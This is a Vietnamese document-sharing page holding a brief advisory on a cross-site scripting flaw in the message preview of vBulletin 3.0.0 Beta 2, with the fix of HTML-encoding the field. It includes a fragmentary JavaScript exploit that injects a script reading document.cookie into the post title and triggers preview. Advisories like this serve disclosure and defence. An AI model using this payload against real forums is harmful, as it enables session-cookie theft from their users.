VBulletin Preview Message Lỗi XSS

Chia sẻ: Ai Dieu | Ngày: | Loại File: DOC | Số trang:3

Báo xấu

131
lượt xem 8
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Chủ đề:

Lưu

Nội dung Text: VBulletin Preview Message Lỗi XSS

VBulletin Preview Message Lỗi XSS trang này đã được đọc lần Thông tin: Website: http://www.vbulletin.com/ Version bị lỗi: vBulletin 3.0.0 Beta 2 Version không bị: vBulletin 2.2 Code khai thác: Nhớ đăng nhập trước
value="Post Message" accesskey="s" tabindex="4" /> //Set Values và Submit // Bạn có thể viết mã JS riêng của mình var xss = "\">alert(document.cookie)"; document.vbform.title.value=xss; document.vbform.preview.click();
Giải pháp: HTML Encoding like post thread preview page